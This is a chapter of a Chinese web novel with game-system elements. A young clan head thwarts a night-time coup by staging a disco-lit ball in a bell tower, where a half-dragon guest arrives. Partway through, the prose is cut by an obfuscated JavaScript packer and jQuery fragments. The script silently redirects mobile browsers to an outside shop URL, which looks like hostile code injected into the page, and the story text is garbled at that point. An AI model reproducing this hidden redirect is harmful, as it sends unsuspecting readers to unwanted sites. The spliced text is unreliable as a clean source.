顾明越认真地询问安夫人的意见,“顾家首席科学家,这个名头你会喜欢吗?”
炼金术士的身份问题,顾明越可以签署家主令,一道给她解决。
安夫人温声:“很诱人。但你能做到吗?哪怕……那位大人物身份特殊?”
顾明越才刚上任几天,顾家内部暗流涌动,派系林立,有多少人会安心听她的调遣?更何况长老院本就凌驾于顾家之上。
她笑了起来:“试试又何妨?像夫人这样有能力的人总是可以稳坐钓鱼台的,只是别人不如我而已。”
顾明越坐在了家主的位置上,她注定可以拥有独一无二的筹码。
安夫人眯了眯眼。
年轻的家主面容温和,天生一副让人信赖的正直模样,她把玩着胸前的白山茶花,声音仿佛蛊惑人心的魔药:
“智慧人观看自己的路径,不随从愚昧的计谋,她必像盘旋的鹰,眼目遍察地上的枝子。”
这是圣书里的话。
安夫人纤柔的长睫轻轻覆下,作为虔诚的月神信徒,她当然知道后面的话。
“她辨明那将要朽坏的高枝,
不栖其上,也不倚靠荫下。
她必得安稳的居所,
在活人的地上安然居住。”
【恭喜玩家完成支线任务“安夫人的药圃”】
【是的,她需要你的帮助。】
【获得奖励:一颗芥末味薄荷糖。】
【一颗芥末味薄荷糖】
【D级共鸣物Z021】
【脑子不清醒的时候可以来一颗,虽然用处不大,但也不好吃。】
夜晚。
“家主说她今晚有事,晚上的古阿尔特语课先不上了。”
话毕,侍从恭敬地向顾蘅呈上信件。
顾蘅看了看,朝身侧人高兴地说道:“多好的学生,不来上课还会请假,没有直接逃课。”
陆执川抿了口杯中的红酒,“第一节课就不上,不是个好兆头。”
顾蘅不满地皱眉,“你这是打击学生学习的积极性。今晚的事又不是她的错,没有让你我白跑一趟已经很好了。”
顾明越同样来信告诉陆执川,今晚不用向她汇报工作,可以给自己放个假。
他没忍住笑:“看来你准备的方法用不上了。她还不需要你救。”
“祝她顺利。”陆执川耸了耸肩,抬手向窗外举起红酒,“也祝他们顺利。”
家族如一只沉睡的巨兽,白亮的月平等地照拂着每一个人。
鲜有人至的小道里,角落里的虫鸣被特意放轻的脚步声切得细碎,铠甲的摩擦声与呜呜咽咽的寒风连成一片,箭矢与刀鞘在月光下泛着幽幽冷芒。
从上往下看,队列恍若一条黑色的河流无声地漫向家主的宅邸。
那天在药圃里与顾明越聊过天的人无声地眨了眨眼,朝身侧人做了个口型:
不是明早八点再出征吗?
身侧人的脸在月光下冷得像铁,她抿了抿唇,极力掩饰住心中的惊骇和不安。
……这是谋反。
他们似乎无法回头了。
“提早了两个小时,主家那位要恨死我们了。”
没有任何回音,副官疑惑地望向马背上的顾之庭,压低了声音骂道:“你为什么要在脖子上挂一个苹果?这让你很像驴子。”
“瞎讲。”顾之庭懒懒道,“给我们的家主当饭后水果啊,万一她大晚上饿了想吃点夜宵呢。”
副官无语。这人还知道他们在做什么吗?
“你带着那么多侍卫大半夜围堵她的房间,就为了请她吃一个苹果?”
副官稍稍正色,还是问出了在心里埋藏许久的问题:“如果今晚我们成功了,你要怎么处置她?”
但他没有得到任何回复,副官慢半拍地发现,周围的所有人直愣愣地看着前方。
家主的宅邸就在那,顾之庭拉住躁动不安的马抬眼望去。
空荡荡的院落沉在一片昏暗里,夜风穿过半掩的窗,激起连绵的支呀声,如同冷笑。
“队长,里面没有人。”
探查的人急声道。
坟场般的死寂在黑压压的队伍里蔓延,每个人都成了一座冰冷的石碑。
顾之庭深吸一口气,胸腔里一下又一下的心跳恍若擂鼓,仿佛在嘲笑着他的抉择。
忽然,各色的光斑如同被打碎的万花筒自天上泼溅下来。
副官瞪大眼,仰头向光源处望去,沉声:“是圣堂!”
鲜亮的红色圆点在他指向圣堂的手上跳动,不一会儿又变成森然的绿光或幽幽的蓝,惊得副官立刻把手收了回去。
灯光不断地旋转、变幻,将夜幕撕扯成碎片,半个顾家几乎都要溺毙在这迷离的光海里。
顾之庭在短暂的惊愕后忍不住大笑。他在空中用力挥了一鞭,打破了这猝不及防的一切在队伍里造成的不安与后悔,令沉默不语的众人都望向他。
他执鞭毫不迟疑地指向圣堂,提高了音量喊道:“走吧,稽查院最优秀的骑士们,让我们去圣堂!一无所有或赢下所有,这个夜晚才刚刚开始。”
他手里还有一件A级共鸣物,这才是他最后的底牌。
持有一件共鸣物必须要家主和至少三位长老的联合同意,顾明越可没有时间拿到这些。
……
顾家几乎都要忘了圣堂最高处还有个一人高的铜钟,但因为太久没有响动过,现在已经积了厚厚一层灰,顾明越让长赢把迪斯科球灯挂在铜钟上面。
【迪斯科灯球】
【C级共鸣物H057】
【在漫长的工作后,一场热闹的社交舞会正是你们所需要的。
用于舞会装饰。】
舞会的主人坐在钟阁的边缘,斑驳的光影在顾明越脸上晃动交错,让她整个人看起来张牙舞爪。
手边高脚杯里盛着香槟酒,光点沉入琥珀色的液体,调制出一杯迷幻的毒药。
长赢坐在她旁边,抬头看了看天色,发出例行询问:“今晚要做/爱吗?”
迪斯科灯球忽然开始放歌了,花哨的鼓点,高亢的弦乐,震得心脏和耳膜都开始疼痛,顾明越拨开被夜风吹过来挡住视线的头发,垂在空中的脚尖不自觉地打着节拍,一切都变得如梦似幻。
“不用。”她笑了起来,有那么几秒头顶的光变成红色,落到她身上,让她的牙尖沾了血似的艳。
长赢哦了声,低下头抿了口酒。鬼哭狼嚎般的歌声和跳跃不休的光点似要把所有人拖进狂欢与极乐,可他脸上没有任何表情,仿佛对这一切都不感兴趣。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813101|210953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“你身上有牧羊犬的基因吗?”身侧传来的说话声里带着似有似无的醉意,可她的眼睛却是清亮的。
音乐声只回荡在这小小的钟阁,舞会的客人还没有来全,现在只有她和长赢能够欣赏到这些。
“没有。”长赢回答得极快,酒味在舌尖散开,是他不喜欢的味道。
“牧羊犬,德牧,比格,金毛……不论什么狗,应该都没有吧?”
“没有。”长赢看着她,香槟酒的涩意让他没忍住皱了皱眉,眼睛却不闪不避地盯着顾明越,认真道,“我不喜欢狗,不喜欢牧羊犬。”
“怎么这么确定?”
“我的档案里没有写。”
顾明越刚想说这或许是最高机密,不能让长赢这些人看到,就听到长赢流利地报了几个名字,“这些人身上有犬类的基因,他们一般会负责比较低等的工作,需要无条件服从上官的命令。”
她沉默了下来,将酒杯里的香槟一饮而尽,不知道过了多久,忽然说道:“真过分,对吧?”
长赢没有回答。
迪斯科音乐演奏到了高潮处,她以为是自己没听见,屈尊降贵地向他的地方靠了靠。
“再说一次。”她命令道。
她身上淡淡的酒味也在这时缠了过来,他垂下眼,望见那些光斑像彩色玻璃纸包裹的糖从天上洒落到她的衣袖。
在高楼之下,屠龙的队伍带着家族最精良的强弓劲弩,似黑色的潮水一刻不停地向圣堂涌来。
无数盏灯无声地亮起,无数的人静静等待着今夜的结局。
他与顾明越靠得极近,顿了几秒,长赢低下头,如同从前夜里的无数次一样凑近她,十二点的钟声却在这一刻排山倒海而来。
“时间到了。”顾明越说道。
她眼底没有任何醉意,站起身,向秘密之森的方向张开双臂。凛冽寒风呼啸,衣袖猎猎作响,黑发如同熊熊烈火在她身后肆意扬起。
顾明越大笑着喊道:“欢迎我的客人!”
地面传来低沉的轰鸣,传说中的巨龙自天际的边缘腾空而起,遮住半边天空。
鳞甲折射着残月的冷光,投下的阴影拖曳过大地,惊飞的鸟群只是从她身上抖落的尘埃。
与钟阁一样大的眼睛就在顾明越几步之外,她能在这只澄黄的瞳孔里看见一整个完全的自己。
顾明越上前一步,将安夫人的项链抛过去。
巨龙微微偏了偏头颅,让它挂在鳞片上,声音玩味:“这就给我了?”
“这本就是你的。”她大声说着,确保不会被迪斯科音乐盖过,“再次自我介绍一下,我叫顾明越,这一代的顾家家主。”
艾维不说话,她继续喊道:“所以艾维你果然就是龙对吧!”
艾维也不由地提高了音量:“我说了,我有一半龙族的血脉!是你自己以为另一半会是人的!傲慢自负的纯血人类!”
其实另一半还是龙的血脉。
顾明越:“……”
艾维今天下午去了安夫人那里,安夫人说已经把她的眼睛给了顾家新任家主,家主今晚会举办舞会,希望能跟你好好聊一聊。
放心,家主说地址很好找,你一眼就能看到。
确实,这么耀眼的迪斯科光线,谁都看得出来舞台在哪。